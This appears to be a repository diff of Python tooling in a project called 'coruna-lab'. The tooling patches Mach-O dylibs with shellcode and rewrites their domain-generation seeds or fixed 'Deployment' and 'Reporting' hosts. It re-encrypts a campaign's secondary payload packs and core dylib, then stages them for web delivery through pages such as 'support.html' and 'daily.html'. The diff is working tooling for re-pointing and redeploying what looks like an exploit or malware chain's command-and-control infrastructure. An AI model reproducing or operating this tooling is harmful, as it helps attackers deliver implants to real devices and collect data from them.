info = _parse_slice(bytes(out), sl)
|
||||
# re-parse from current out
|
||||
info = _parse_slice(bytes(out), sl)
|
||||
blob = info.blob
|
||||
entry, body, end = _discover_dga(blob)
|
||||
|
||||
dep_cs = blob.find(seed_dep)
|
||||
rep_cs = blob.find(seed_rep)
|
||||
if dep_cs < 0 or rep_cs < 0:
|
||||
dep_cs = blob.find(OLD_DEP)
|
||||
rep_cs = blob.find(OLD_REP)
|
||||
if dep_cs < 0 or rep_cs < 0:
|
||||
raise SystemExit(f"{label} slice{si}: seed cstrings not found")
|
||||
|
||||
dep_cf = _find_cfstring_for_cstring(info, dep_cs)
|
||||
rep_cf = _find_cfstring_for_cstring(info, rep_cs)
|
||||
runtime = _resolve_runtime_stubs(blob, body, end)
|
||||
stubs = {
|
||||
**runtime,
|
||||
"isEqualToString": _find_stub_for_selector(info, b"isEqualToString:"),
|
||||
"arrayWithCapacity": _find_stub_for_selector(info, b"arrayWithCapacity:"),
|
||||
"addObject": _find_stub_for_selector(info, b"addObject:"),
|
||||
"stringWithUTF8": _find_stub_for_selector(info, b"stringWithUTF8String:"),
|
||||
}
|
||||
class_array, class_string = _find_classrefs(info, body)
|
||||
patched = _apply_shellcode(
|
||||
blob,
|
||||
entry=entry,
|
||||
end=end,
|
||||
stubs=stubs,
|
||||
class_array=class_array,
|
||||
class_string=class_string,
|
||||
dep_cf=dep_cf,
|
||||
rep_cf=rep_cf,
|
||||
dep_pack=dep_pack,
|
||||
rep_pack=rep_pack,
|
||||
label=f"{label}/slice{si}",
|
||||
)
|
||||
out[sl.file_offset : sl.file_offset + sl.size] = patched
|
||||
print(
|
||||
f"{label} slice{si}: fixed domains @ {entry:#x}..{end:#x} "
|
||||
f"dep={len(dep)} rep={len(rep)} arm64e={info.is_arm64e}"
|
||||
)
|
||||
|
||||
return bytes(out)
|
||||
+37
-14
@@ -1,5 +1,5 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Reset lab-root web/ + sync/ from source/, then patch_all --apply (new DGA seeds/domains)."""
|
||||
"""Reset server/public web/ + sync/ from source/, then patch_all --apply."""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
@@ -12,6 +12,7 @@ from pathlib import Path
|
||||
TOOLS = Path(__file__).resolve().parent
|
||||
LAB_ROOT = TOOLS.parent
|
||||
SOURCE_ROOT = LAB_ROOT / "source"
|
||||
APPLY_ROOT = LAB_ROOT / "server" / "public"
|
||||
CAMPAIGN_HASH = "34f5121f572d6742703eb84ec2f866a6"
|
||||
|
||||
|
||||
@@ -29,8 +30,8 @@ def replace_tree(src: Path, dst: Path) -> None:
|
||||
def main() -> int:
|
||||
parser = argparse.ArgumentParser(
|
||||
description=(
|
||||
"Copy source/web + source/sync to coruna-lab root, then run "
|
||||
"patch_all.py --apply --root <lab-root> (fresh Deployment/Reporting domains)."
|
||||
"Copy source/web + source/sync to server/public, then run "
|
||||
"patch_all.py --apply --root server/public."
|
||||
)
|
||||
)
|
||||
parser.add_argument(
|
||||
@@ -41,20 +42,35 @@ def main() -> int:
|
||||
"--reporting-seed",
|
||||
help="optional; forwarded to patch_all (default: random)",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--deployment-domains",
|
||||
action="append",
|
||||
default=[],
|
||||
help="fixed Deployment hosts (comma-separated or repeatable)",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--reporting-domains",
|
||||
action="append",
|
||||
default=[],
|
||||
help="fixed Reporting hosts (comma-separated or repeatable)",
|
||||
)
|
||||
parser.add_argument(
|
||||
"-n",
|
||||
"--count",
|
||||
type=int,
|
||||
default=5,
|
||||
help="DGA candidates to print per pool (default 5)",
|
||||
help="DGA candidates to print when not using fixed domains (default 5)",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--skip-patch",
|
||||
action="store_true",
|
||||
help="only copy source trees to lab root; do not run patch_all",
|
||||
help="only copy source trees to server/public; do not run patch_all",
|
||||
)
|
||||
args = parser.parse_args()
|
||||
|
||||
if bool(args.deployment_domains) != bool(args.reporting_domains):
|
||||
raise SystemExit("provide both --deployment-domains and --reporting-domains, or neither")
|
||||
|
||||
src_web = SOURCE_ROOT / "web"
|
||||
src_sync = SOURCE_ROOT / "sync"
|
||||
if not (src_web / CAMPAIGN_HASH).is_dir():
|
||||
@@ -62,12 +78,13 @@ def main() -> int:
|
||||
if not src_sync.is_dir():
|
||||
raise SystemExit(f"missing source sync: {src_sync}")
|
||||
|
||||
dst_web = LAB_ROOT / "web"
|
||||
dst_sync = LAB_ROOT / "sync"
|
||||
APPLY_ROOT.mkdir(parents=True, exist_ok=True)
|
||||
dst_web = APPLY_ROOT / "web"
|
||||
dst_sync = APPLY_ROOT / "sync"
|
||||
|
||||
print("=== reset lab root from source ===")
|
||||
print("=== reset server/public from source ===")
|
||||
print(f"from: {SOURCE_ROOT}")
|
||||
print(f"to: {LAB_ROOT}/{{web,sync}}")
|
||||
print(f"to: {APPLY_ROOT}/{{web,sync}}")
|
||||
replace_tree(src_web, dst_web)
|
||||
replace_tree(src_sync, dst_sync)
|
||||
print(f"copied web/ ({CAMPAIGN_HASH}) + sync/")
|
||||
@@ -81,7 +98,7 @@ def main() -> int:
|
||||
str(TOOLS / "patch_all.py"),
|
||||
"--apply",
|
||||
"--root",
|
||||
str(LAB_ROOT),
|
||||
str(APPLY_ROOT),
|
||||
"-n",
|
||||
str(args.count),
|
||||
]
|
||||
@@ -89,21 +106,27 @@ def main() -> int:
|
||||
cmd += ["--deployment-seed", args.deployment_seed]
|
||||
if args.reporting_seed:
|
||||
cmd += ["--reporting-seed", args.reporting_seed]
|
||||
for item in args.deployment_domains:
|
||||
cmd += ["--deployment-domains", item]
|
||||
for item in args.reporting_domains:
|
||||
cmd += ["--reporting-domains", item]
|
||||
|
||||
print()
|
||||
print("=== patch_all --apply ===")
|
||||
print("+", " ".join(cmd), flush=True)
|
||||
subprocess.run(cmd, cwd=str(LAB_ROOT), check=True)
|
||||
|
||||
out_root = APPLY_ROOT / "out"
|
||||
print()
|
||||
print("=== ready ===")
|
||||
print(f"web: {dst_web / CAMPAIGN_HASH}")
|
||||
print(f"sync: {dst_sync}")
|
||||
print(f"seeds: {LAB_ROOT / 'out' / 'seeds.json'}")
|
||||
print(f"domains: {LAB_ROOT / 'out' / 'domains.json'}")
|
||||
print(f"seeds: {out_root / 'seeds.json'}")
|
||||
print(f"domains: {out_root / 'domains.json'}")
|
||||
print()
|
||||
print("serve example:")
|
||||
print(f" cd {LAB_ROOT} && python3 -m http.server 8765 --bind 0.0.0.0")
|
||||
print("served by Laravel public:")
|
||||
print(f" /web/{CAMPAIGN_HASH}/support.html")
|
||||
print(" /sync/daily.html")
|
||||
return 0
|
||||
|
||||
|
||||
|
||||
+96
-30
@@ -1,17 +1,20 @@
|
||||
#!/usr/bin/env python3
|
||||
"""All-in-one: generate seeds, rebuild secondary packs + core/daily, print DGA domains."""
|
||||
"""All-in-one: patch secondary packs + core/daily (DGA seeds or fixed domain lists)."""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import argparse
|
||||
import json
|
||||
import secrets
|
||||
import shutil
|
||||
import subprocess
|
||||
import sys
|
||||
from pathlib import Path
|
||||
|
||||
TOOLS = Path(__file__).resolve().parent
|
||||
LAB_ROOT = TOOLS.parent
|
||||
SOURCE_ROOT = LAB_ROOT / "source"
|
||||
CAMPAIGN_HASH = "34f5121f572d6742703eb84ec2f866a6"
|
||||
|
||||
|
||||
def gen_seed() -> str:
|
||||
@@ -24,20 +27,53 @@ def run(cmd: list[str]) -> None:
|
||||
subprocess.run(cmd, cwd=str(LAB_ROOT), check=True)
|
||||
|
||||
|
||||
def _ignore_junk(_dir: str, names: list[str]) -> set[str]:
|
||||
skip = {"_bak", "__pycache__", ".DS_Store"}
|
||||
return {n for n in names if n in skip or n.endswith(".pyc")}
|
||||
|
||||
|
||||
def ensure_working_tree(root: Path) -> None:
|
||||
"""If web/sync missing under root, copy from source/ (same as new_project --skip-patch)."""
|
||||
camp = root / "web" / CAMPAIGN_HASH
|
||||
sync = root / "sync"
|
||||
if camp.is_dir() and sync.is_dir():
|
||||
return
|
||||
src_web = SOURCE_ROOT / "web"
|
||||
src_sync = SOURCE_ROOT / "sync"
|
||||
if not (src_web / CAMPAIGN_HASH).is_dir() or not src_sync.is_dir():
|
||||
raise SystemExit(
|
||||
f"missing working tree and source template.\n"
|
||||
f"expected: {src_web / CAMPAIGN_HASH} and {src_sync}"
|
||||
)
|
||||
print("=== bootstrap working tree from source/ ===")
|
||||
for src, dst in ((src_web, root / "web"), (src_sync, root / "sync")):
|
||||
if dst.exists():
|
||||
shutil.rmtree(dst)
|
||||
shutil.copytree(src, dst, symlinks=False, ignore=_ignore_junk)
|
||||
print(f"copied {src.relative_to(LAB_ROOT)} -> {dst}")
|
||||
print()
|
||||
|
||||
|
||||
def main() -> int:
|
||||
parser = argparse.ArgumentParser(
|
||||
description=(
|
||||
"Generate Deployment/Reporting seeds, run patch_secondary_packs → "
|
||||
"patch_core → compute_dga_domains, print final domains."
|
||||
"Patch type0x01 + core/daily. Use either DGA seeds (default random) "
|
||||
"or fixed --deployment-domains / --reporting-domains."
|
||||
)
|
||||
)
|
||||
parser.add_argument("--deployment-seed", help="optional; default: random 32 hex")
|
||||
parser.add_argument("--reporting-seed", help="optional; default: random 32 hex")
|
||||
parser.add_argument(
|
||||
"--deployment-seed",
|
||||
help="optional; default: random 32 hex chars",
|
||||
"--deployment-domains",
|
||||
action="append",
|
||||
default=[],
|
||||
help="fixed Deployment hosts (comma-separated or repeatable)",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--reporting-seed",
|
||||
help="optional; default: random 32 hex chars",
|
||||
"--reporting-domains",
|
||||
action="append",
|
||||
default=[],
|
||||
help="fixed Reporting hosts (comma-separated or repeatable)",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--root",
|
||||
@@ -47,24 +83,29 @@ def main() -> int:
|
||||
parser.add_argument(
|
||||
"--apply",
|
||||
action="store_true",
|
||||
help="pass --apply to patch_secondary_packs and patch_core (write into --root)",
|
||||
help="write into --root web/ + sync/",
|
||||
)
|
||||
parser.add_argument(
|
||||
"-n",
|
||||
"--count",
|
||||
type=int,
|
||||
default=5,
|
||||
help="DGA candidates to print per pool (default 5)",
|
||||
help="DGA candidates to print when not using fixed domains (default 5)",
|
||||
)
|
||||
args = parser.parse_args()
|
||||
|
||||
if args.apply and not args.root:
|
||||
raise SystemExit("--apply requires --root <project-dir>")
|
||||
if bool(args.deployment_domains) != bool(args.reporting_domains):
|
||||
raise SystemExit("provide both --deployment-domains and --reporting-domains, or neither")
|
||||
|
||||
if args.apply and args.root:
|
||||
ensure_working_tree(args.root.resolve())
|
||||
|
||||
fixed_mode = bool(args.deployment_domains)
|
||||
dep = args.deployment_seed or gen_seed()
|
||||
rep = args.reporting_seed or gen_seed()
|
||||
if dep == rep:
|
||||
# avoid accidental identical pools
|
||||
while rep == dep:
|
||||
rep = gen_seed()
|
||||
|
||||
@@ -76,6 +117,7 @@ def main() -> int:
|
||||
{
|
||||
"deployment_seed": dep,
|
||||
"reporting_seed": rep,
|
||||
"mode": "fixed_domains" if fixed_mode else "dga",
|
||||
},
|
||||
indent=2,
|
||||
)
|
||||
@@ -83,6 +125,7 @@ def main() -> int:
|
||||
)
|
||||
|
||||
print("=== seeds ===")
|
||||
print(f"mode: {'fixed_domains' if fixed_mode else 'dga'}")
|
||||
print(f"deployment: {dep}")
|
||||
print(f"reporting: {rep}")
|
||||
print(f"saved: {seeds_path}")
|
||||
@@ -93,6 +136,12 @@ def main() -> int:
|
||||
py = sys.executable
|
||||
apply = ["--apply"] if args.apply else []
|
||||
root = ["--root", str(args.root.resolve())] if args.root else []
|
||||
domain_args: list[str] = []
|
||||
if fixed_mode:
|
||||
for item in args.deployment_domains:
|
||||
domain_args += ["--deployment-domains", item]
|
||||
for item in args.reporting_domains:
|
||||
domain_args += ["--reporting-domains", item]
|
||||
|
||||
print("=== 1/3 patch_secondary_packs ===")
|
||||
run(
|
||||
@@ -103,6 +152,7 @@ def main() -> int:
|
||||
dep,
|
||||
"--reporting-seed",
|
||||
rep,
|
||||
*domain_args,
|
||||
*root,
|
||||
*apply,
|
||||
]
|
||||
@@ -118,33 +168,49 @@ def main() -> int:
|
||||
dep,
|
||||
"--reporting-seed",
|
||||
rep,
|
||||
*domain_args,
|
||||
*root,
|
||||
*apply,
|
||||
]
|
||||
)
|
||||
print()
|
||||
|
||||
print("=== 3/3 compute_dga_domains ===")
|
||||
result = subprocess.run(
|
||||
[
|
||||
py,
|
||||
str(TOOLS / "compute_dga_domains.py"),
|
||||
"--deployment-seed",
|
||||
dep,
|
||||
"--reporting-seed",
|
||||
rep,
|
||||
"-n",
|
||||
str(args.count),
|
||||
"--json",
|
||||
],
|
||||
cwd=str(LAB_ROOT),
|
||||
check=True,
|
||||
capture_output=True,
|
||||
text=True,
|
||||
)
|
||||
domains = json.loads(result.stdout)
|
||||
domains_path = out_root / "domains.json"
|
||||
domains_path.write_text(json.dumps(domains, indent=2) + "\n")
|
||||
if fixed_mode:
|
||||
# Prefer MANIFEST from patch_core output
|
||||
manifest_path = out_root / "sync" / "MANIFEST.json"
|
||||
if not manifest_path.is_file():
|
||||
manifest_path = LAB_ROOT / "out" / "sync" / "MANIFEST.json"
|
||||
manifest = json.loads(manifest_path.read_text())
|
||||
domains = {
|
||||
"mode": "fixed_domains",
|
||||
"deployment": {"seed": dep, "domains": manifest["deployment_domains"]},
|
||||
"reporting": {"seed": rep, "domains": manifest["reporting_domains"]},
|
||||
}
|
||||
domains_path.write_text(json.dumps(domains, indent=2) + "\n")
|
||||
print("=== 3/3 fixed domains ===")
|
||||
else:
|
||||
print("=== 3/3 compute_dga_domains ===")
|
||||
result = subprocess.run(
|
||||
[
|
||||
py,
|
||||
str(TOOLS / "compute_dga_domains.py"),
|
||||
"--deployment-seed",
|
||||
dep,
|
||||
"--reporting-seed",
|
||||
rep,
|
||||
"-n",
|
||||
str(args.count),
|
||||
"--json",
|
||||
],
|
||||
cwd=str(LAB_ROOT),
|
||||
check=True,
|
||||
capture_output=True,
|
||||
text=True,
|
||||
)
|
||||
domains = json.loads(result.stdout)
|
||||
domains["mode"] = "dga"
|
||||
domains_path.write_text(json.dumps(domains, indent=2) + "\n")
|
||||
|
||||
print()
|
||||
print("=== final domains ===")
|
||||
|
||||
+39
-2
@@ -23,6 +23,7 @@ from _common import (
|
||||
tree_root,
|
||||
validate_seed_arg,
|
||||
)
|
||||
from _domain_patch import parse_domain_list, patch_fixed_domains_in_dylib
|
||||
import _common
|
||||
|
||||
import sys
|
||||
@@ -93,6 +94,18 @@ def main() -> int:
|
||||
)
|
||||
parser.add_argument("--deployment-seed", required=True)
|
||||
parser.add_argument("--reporting-seed", required=True)
|
||||
parser.add_argument(
|
||||
"--deployment-domains",
|
||||
action="append",
|
||||
default=[],
|
||||
help="fixed Deployment hosts (repeat or comma-separated). Overrides DGA output.",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--reporting-domains",
|
||||
action="append",
|
||||
default=[],
|
||||
help="fixed Reporting hosts (repeat or comma-separated). Overrides DGA output.",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--root",
|
||||
type=Path,
|
||||
@@ -111,6 +124,18 @@ def main() -> int:
|
||||
args = parser.parse_args()
|
||||
dep = validate_seed_arg("--deployment-seed", args.deployment_seed)
|
||||
rep = validate_seed_arg("--reporting-seed", args.reporting_seed)
|
||||
fixed_dep = (
|
||||
parse_domain_list(args.deployment_domains, label="deployment")
|
||||
if args.deployment_domains
|
||||
else None
|
||||
)
|
||||
fixed_rep = (
|
||||
parse_domain_list(args.reporting_domains, label="reporting")
|
||||
if args.reporting_domains
|
||||
else None
|
||||
)
|
||||
if (fixed_dep is None) ^ (fixed_rep is None):
|
||||
raise SystemExit("provide both --deployment-domains and --reporting-domains, or neither")
|
||||
|
||||
if args.root:
|
||||
set_tree_root(args.root)
|
||||
@@ -137,6 +162,15 @@ def main() -> int:
|
||||
expect_rep=2,
|
||||
label="core/tmp.dylib",
|
||||
)
|
||||
if fixed_dep is not None and fixed_rep is not None:
|
||||
patched = patch_fixed_domains_in_dylib(
|
||||
patched,
|
||||
fixed_dep,
|
||||
fixed_rep,
|
||||
deployment_seed=dep,
|
||||
reporting_seed=rep,
|
||||
label="core/tmp.dylib",
|
||||
)
|
||||
digest = sha256_hex(patched)
|
||||
size = len(patched)
|
||||
password = derive_archive_password()
|
||||
@@ -161,15 +195,18 @@ def main() -> int:
|
||||
json.dumps(json.loads(config_bytes), indent=2) + "\n"
|
||||
)
|
||||
|
||||
dep_domains = fixed_dep if fixed_dep is not None else generate_domains(dep, 5)
|
||||
rep_domains = fixed_rep if fixed_rep is not None else generate_domains(rep, 5)
|
||||
manifest = {
|
||||
"deployment_seed": dep,
|
||||
"reporting_seed": rep,
|
||||
"mode": "fixed_domains" if fixed_dep is not None else "dga",
|
||||
"core_sha256": digest,
|
||||
"core_size": size,
|
||||
"daily_sha256": sha256_hex(daily_wire),
|
||||
"erupt_flee_sha256": sha256_hex(erupt_wire),
|
||||
"deployment_domains": generate_domains(dep, 5),
|
||||
"reporting_domains": generate_domains(rep, 5),
|
||||
"deployment_domains": dep_domains,
|
||||
"reporting_domains": rep_domains,
|
||||
}
|
||||
(out / "MANIFEST.json").write_text(json.dumps(manifest, indent=2) + "\n")
|
||||
|
||||
|
||||
@@ -20,6 +20,7 @@ from _common import (
|
||||
tree_root,
|
||||
validate_seed_arg,
|
||||
)
|
||||
from _domain_patch import parse_domain_list, patch_fixed_domains_in_dylib
|
||||
from _secondary_pack import decrypt_secondary_minjs, encrypt_secondary_minjs
|
||||
import _common
|
||||
|
||||
@@ -56,9 +57,33 @@ def main() -> int:
|
||||
action="store_true",
|
||||
help="also copy outputs into <root>/web/.../",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--deployment-domains",
|
||||
action="append",
|
||||
default=[],
|
||||
help="fixed Deployment hosts (comma-separated or repeatable); skips DGA",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--reporting-domains",
|
||||
action="append",
|
||||
default=[],
|
||||
help="fixed Reporting hosts (comma-separated or repeatable); skips DGA",
|
||||
)
|
||||
args = parser.parse_args()
|
||||
dep = validate_seed_arg("--deployment-seed", args.deployment_seed)
|
||||
rep = validate_seed_arg("--reporting-seed", args.reporting_seed)
|
||||
fixed_dep = (
|
||||
parse_domain_list(args.deployment_domains, label="deployment")
|
||||
if args.deployment_domains
|
||||
else None
|
||||
)
|
||||
fixed_rep = (
|
||||
parse_domain_list(args.reporting_domains, label="reporting")
|
||||
if args.reporting_domains
|
||||
else None
|
||||
)
|
||||
if bool(fixed_dep) != bool(fixed_rep):
|
||||
raise SystemExit("provide both --deployment-domains and --reporting-domains, or neither")
|
||||
|
||||
if args.root:
|
||||
set_tree_root(args.root)
|
||||
@@ -79,7 +104,7 @@ def main() -> int:
|
||||
for group, path in GROUP_DYLIBS.items():
|
||||
if not path.is_file():
|
||||
raise SystemExit(f"missing source dylib: {path}")
|
||||
patched[group] = patch_seeds_in_dylib(
|
||||
data = patch_seeds_in_dylib(
|
||||
path.read_bytes(),
|
||||
dep,
|
||||
rep,
|
||||
@@ -87,6 +112,16 @@ def main() -> int:
|
||||
expect_rep=1,
|
||||
label=path.name,
|
||||
)
|
||||
if fixed_dep is not None and fixed_rep is not None:
|
||||
data = patch_fixed_domains_in_dylib(
|
||||
data,
|
||||
fixed_dep,
|
||||
fixed_rep,
|
||||
deployment_seed=dep,
|
||||
reporting_seed=rep,
|
||||
label=path.name,
|
||||
)
|
||||
patched[group] = data
|
||||
print(
|
||||
f"group {group}: patched {path.name} "
|
||||
f"sha256={sha256_hex(patched[group])[:16]}… size={len(patched[group])}"
|
||||
@@ -121,6 +156,9 @@ def main() -> int:
|
||||
manifest = {
|
||||
"deployment_seed": dep,
|
||||
"reporting_seed": rep,
|
||||
"mode": "fixed_domains" if fixed_dep is not None else "dga",
|
||||
"deployment_domains": fixed_dep,
|
||||
"reporting_domains": fixed_rep,
|
||||
"files": built,
|
||||
"group_dylib_sha256": {g: sha256_hex(d) for g, d in patched.items()},
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user